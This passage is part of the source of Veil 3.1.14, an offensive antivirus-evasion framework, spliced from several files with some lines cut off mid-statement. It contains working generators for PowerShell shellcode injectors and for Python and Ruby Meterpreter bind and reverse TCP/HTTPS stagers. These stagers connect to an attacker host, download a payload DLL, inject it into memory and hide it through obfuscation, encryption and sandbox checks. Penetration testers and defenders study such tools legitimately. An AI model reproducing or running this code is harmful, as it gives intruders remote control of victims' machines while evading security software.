: ["FALSE", "Check for known VM processes"], "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], "MINPROCESSES" : ["X", "Minimum number of processes running"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def psRaw(self): checks, num_ends = gamemaker.senecas_games(self) # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = ",0".join(Shellcode.split("\\"))[1:] if self.required_options["INJECT_METHOD"][0].lower() == "virtual": baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); "@\n""" baseString += checks baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s; for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} $oldprotect = 0; $here=$o::VirtualProtect($x, [UInt32]0x1000, [UInt32]0x20, [Ref]$oldprotect); $z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); "@\n""" baseString += checks baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru [Byte[]]$sc = %s $x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length) for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;} $z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) baseString += '}\n' * num_ends return baseString def generate(self): encoded = evasion_helpers.deflate(self.psRaw()) payload_code = "@echo off\n" payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) payload_code += ") else (" payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/python/000077500000000000000000000000001365017756100204535ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/python/.gitignore000066400000000000000000000000061365017756100224370ustar00rootroot00000000000000*.pyc Veil-3.1.14/tools/evasion/payloads/python/__init__.py000066400000000000000000000000001365017756100225520ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/python/meterpreter/000077500000000000000000000000001365017756100230115ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/python/meterpreter/__init__.py000066400000000000000000000000001365017756100251100ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/python/meterpreter/bind_tcp.py000066400000000000000000000136121365017756100251500ustar00rootroot00000000000000""" Custom-written pure python meterpreter/bind_tcp stager """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import encryption class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/bind_tcp stager, no shellcode" self.rating = "Excellent" self.name = "Pure Python Reverse TCP stager" self.path = "python/meterpreter/bind_tcp" self.cli_opts = cli_obj self.payload_source_code = "" self.language = "python" self.extension = "py" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" # optional # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "RHOST" : ["", "The listen target address"], "LPORT" : ["4444", "The listen port"], "USE_PYHERION" : ["N", "Use the pyherion encrypter"]} def generate(self): # randomize all of the variable names used shellCodeName = evasion_helpers.randomString() socketName = evasion_helpers.randomString() clientSocketName = evasion_helpers.randomString() getDataMethodName = evasion_helpers.randomString() fdBufName = evasion_helpers.randomString() rcvStringName = evasion_helpers.randomString() rcvCStringName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() tempShellcodeName = evasion_helpers.randomString() shellcodeBufName = evasion_helpers.randomString() fpName = evasion_helpers.randomString() tempCBuffer = evasion_helpers.randomString() payload_code = "import struct, socket, binascii, ctypes, random, time\n" # socket and shellcode variables that need to be kept global payload_code += "%s, %s = None, None\n" % (shellCodeName,socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payload_code += "def %s():\n" %(getDataMethodName) payload_code += "\ttry:\n" payload_code += "\t\tglobal %s\n" %(socketName) payload_code += "\t\tglobal %s\n" %(clientSocketName) # build the socket and connect to the handler payload_code += "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) payload_code += "\t\t%s.bind(('%s', %s))\n" %(socketName,self.required_options["RHOST"][0], str(self.required_options["LPORT"][0])) payload_code += "\t\t%s.listen(1)\n" % (socketName) payload_code += "\t\t%s,_ = %s.accept()\n" % (clientSocketName, socketName) # pack the underlying socket file descriptor into a c structure payload_code += "\t\t%s = struct.pack(' 100000: return " + tName + ".read()\n" payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" payload_code += '\t' * num_tabs_required + "\t\texcept: return " + tName + ".read()\n" payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError:\n" payload_code += '\t' * num_tabs_required + "\t\treturn ''\n" # method to inject a reflective .dll into memory payload_code += '\t' * num_tabs_required + "def " + injectMethodName + "(" + dataName + "):\n" payload_code += '\t' * num_tabs_required + "\tif " + dataName + " != \"\":\n" payload_code += '\t' * num_tabs_required + "\t\t" + byteArrayName + " = bytearray(" + dataName + ")\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" # Assuming heap injection else: HeapVar = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' # download the metpreter .dll and inject it payload_code += '\t' * num_tabs_required + data2Name + " = ''\n" payload_code += '\t' * num_tabs_required + data2Name + " = " + downloadMethodName + "(\"" + self.required_options["LHOST"][0] + "\", " + str(self.required_options["LPORT"][0]) + ")\n" payload_code += '\t' * num_tabs_required + injectMethodName + "(" + data2Name + ")\n" if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/python/meterpreter/rev_https.py000066400000000000000000000247201365017756100254060ustar00rootroot00000000000000""" Custom-written pure python meterpreter/reverse_https stager Module built by @harmj0y """ from datetime import date from datetime import timedelta from tools.evasion.evasion_common import encryption from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" self.language = "python" self.rating = "Excellent" self.extension = "py" self.name = "Pure Python Reverse HTTPS stager" self.path = "python/meterpreter/rev_https" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { "LHOST" : ["", "The listen target address"], "LPORT" : ["4444", "The listen port"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_PYHERION" : ["N", "Use the pyherion encrypter"], "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "CLICKTRACK" : ["X", "Optional: Minimum number of clicks to execute payload"], "UTCCHECK" : ["FALSE", "Optional: Validates system does not use UTC timezone"], "VIRTUALFILES" : ["FALSE", "Optional: Check if VM supporting files exist"], "VIRTUALDLLS" : ["FALSE", "Check for dlls loaded in memory"], "CURSORMOVEMENT" : ["FALSE", "Check if cursor is in same position after 30 seconds"], "USERPROMPT" : ["FALSE", "Make user click prompt prior to execution"], "MINRAM" : ["FALSE", "Check for at least 3 gigs of RAM"], "SANDBOXPROCESS" : ["FALSE", "Check for common sandbox processes"], "DETECTDEBUG" : ["FALSE", "Check if debugger is present"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # randomize everything, yo' sumMethodName = evasion_helpers.randomString() checkinMethodName = evasion_helpers.randomString() randLettersName = evasion_helpers.randomString() randLetterSubName = evasion_helpers.randomString() randBaseName = evasion_helpers.randomString() downloadMethodName = evasion_helpers.randomString() hostName = evasion_helpers.randomString() portName = evasion_helpers.randomString() requestName = evasion_helpers.randomString() tName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() dataName = evasion_helpers.randomString() byteArrayName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() bufName = evasion_helpers.randomString() handleName = evasion_helpers.randomString() data2Name = evasion_helpers.randomString() proxy_var = evasion_helpers.randomString() opener_var = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() # How I'm tracking the number of nested tabs needed # to make the payload num_tabs_required = 0 payload_code = "import urllib.request, string, random, struct, time, ssl, ctypes as " + randctypes + "\n" payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # helper method that returns the sum of all ord values in a string % 0x100 payload_code += '\t' * num_tabs_required + "ssl._create_default_https_context = ssl._create_unverified_context\n" payload_code += '\t' * num_tabs_required + "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" %(sumMethodName) # method that generates a new checksum value for checkin to the meterpreter handler payload_code += '\t' * num_tabs_required + "def %s():\n" %(checkinMethodName) payload_code += '\t' * num_tabs_required + "\tfor x in range(64):\n" payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" %(randBaseName) payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" %(randLettersName) payload_code += '\t' * num_tabs_required + "\t\tfor %s in %s:\n" %(randLetterSubName, randLettersName) payload_code += '\t' * num_tabs_required + "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" %(sumMethodName, randBaseName, randLetterSubName, randBaseName, randLetterSubName) # method that connects to a host/port over https and downloads the hosted data payload_code += '\t' * num_tabs_required + "def %s(%s,%s):\n" %(downloadMethodName, hostName, portName) payload_code += '\t' * num_tabs_required + "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n" payload_code += '\t' * num_tabs_required + "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n" payload_code += '\t' * num_tabs_required + "\turllib.request.install_opener(" + opener_var + ")\n" payload_code += '\t' * num_tabs_required + '\t' + requestName + " = urllib.request.Request(\"https://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n" payload_code += '\t' * num_tabs_required + "\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\t%s = urllib.request.urlopen(%s)\n" %(tName, requestName) payload_code += '\t' * num_tabs_required + "\t\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" %(tName, tName) payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" payload_code += '\t' * num_tabs_required + "\t\texcept: return %s.read()\n" % (tName) payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError: return ''\n" # method to inject a reflective .dll into memory payload_code += '\t' * num_tabs_required + "def %s(%s):\n" %(injectMethodName, dataName) payload_code += '\t' * num_tabs_required + "\tif %s != \"\":\n" %(dataName) payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" %(byteArrayName, dataName) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" # Assuming heap injection else: HeapVar = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' # download the metpreter .dll and inject it payload_code += '\t' * num_tabs_required + "%s = ''\n" %(data2Name) payload_code += '\t' * num_tabs_required + "%s = %s(\"%s\", %s)\n" %(data2Name, downloadMethodName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payload_code += '\t' * num_tabs_required + "%s(%s)\n" %(injectMethodName, data2Name) if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/python/meterpreter/rev_tcp.py000066400000000000000000000233451365017756100250340ustar00rootroot00000000000000""" Custom-written pure python meterpreter/reverse_tcp stager Module built by @harmj0y """ from datetime import date from datetime import timedelta from tools.evasion.evasion_common import encryption from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" self.language = "python" self.extension = "py" self.rating = "Excellent" self.name = "Pure Python Reverse TCP Stager" self.path = "python/meterpreter/rev_tcp" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { "LHOST" : ["", "The listen target address"], "LPORT" : ["4444", "The listen port"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_PYHERION" : ["N", "Use the pyherion encrypter"], "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "CLICKTRACK" : ["X", "Optional: Minimum number of clicks to execute payload"], "UTCCHECK" : ["FALSE", "Optional: Validates system does not use UTC timezone"], "VIRTUALFILES" : ["FALSE", "Optional: Check if VM supporting files exist"], "VIRTUALDLLS" : ["FALSE", "Check for dlls loaded in memory"], "CURSORMOVEMENT" : ["FALSE", "Check if cursor is in same position after 30 seconds"], "USERPROMPT" : ["FALSE", "Make user click prompt prior to execution"], "MINRAM" : ["FALSE", "Check for at least 3 gigs of RAM"], "SANDBOXPROCESS" : ["FALSE", "Check for common sandbox processes"], "DETECTDEBUG" : ["FALSE", "Check if debugger is present"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # randomize all of the variable names used shellCodeName = evasion_helpers.randomString() socketName = evasion_helpers.randomString() getDataMethodName = evasion_helpers.randomString() fdBufName = evasion_helpers.randomString() rcvStringName = evasion_helpers.randomString() rcvCStringName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() tempShellcodeName = evasion_helpers.randomString() shellcodeBufName = evasion_helpers.randomString() fpName = evasion_helpers.randomString() tempCBuffer = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n" # How I'm tracking the number of nested tabs needed # to make the payload num_tabs_required = 0 payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # socket and shellcode variables that need to be kept global payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % (shellCodeName,socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payload_code += '\t' * num_tabs_required + "def %s():\n" %(getDataMethodName) payload_code += '\t' * num_tabs_required + "\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" %(socketName) # build the socket and connect to the handler payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" %(socketName,self.required_options["LHOST"][0],self.required_options["LPORT"][0]) # pack the underlying socket file descriptor into a c structure payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack(' 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" payload_code += "\tend\nend\n" payload_code += "uri = URI.encode(\"http://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payload_code += "uri = URI(uri)\n" payload_code += "ij(Net::HTTP.get(uri))\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/ruby/meterpreter/rev_https.py000066400000000000000000000143421365017756100250450ustar00rootroot00000000000000""" Custom-written pure ruby meterpreter/reverse_https stager TODO: better randomization Module built by @harmj0y Updated by @ChrisTruncer """ from datetime import date from datetime import timedelta from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" self.language = "ruby" self.extension = "rb" self.rating = "Normal" self.name = "Pure Ruby Reverse HTTPS Stager" self.path = "ruby/meterpreter/rev_https" self.cli_opts = cli_obj if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "The listen target address"], "LPORT" : ["4444", "The listen port"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "USERNAME" : ["X", "Optional: The required user account"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): payload_code = "" payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": payload_code += 'require \'socket\'\n' payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "def ch()\n" #payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n" #payload_code += "\t32.times do\n" #payload_code += "\t\turi = chk.sample(3).join()\n" #payload_code += "\t\tchk.sort_by {rand}.each do |x|\n" #payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n" #payload_code += "\t\tend\n" #payload_code += "\tend\n" payload_code += "\treturn \"WEZf\"\n" payload_code += "end\n" payload_code += "def ij(sc)\n" payload_code += "\tif sc.length > 1000\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" payload_code += "\tend\nend\n" payload_code += "uri = URI.parse(\"https://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payload_code += "http = Net::HTTP.new(uri.host, uri.port)\n" payload_code += "http.use_ssl = true\n" payload_code += "http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n" payload_code += "request = Net::HTTP::Get.new(uri.request_uri)\n" payload_code += "response = http.request(request)\n" payload_code += "ij(response.body)\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py000066400000000000000000000137211365017756100244710ustar00rootroot00000000000000""" Custom-written pure ruby meterpreter/reverse_tcp stager TODO: better randomization Module built by @harmj0y Updated by @ChrisTruncer """ from datetime import date from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" self.language = "ruby" self.extension = "rb" self.rating = "Normal" self.name = "Pure Ruby Reverse TCP Stager" self.path = 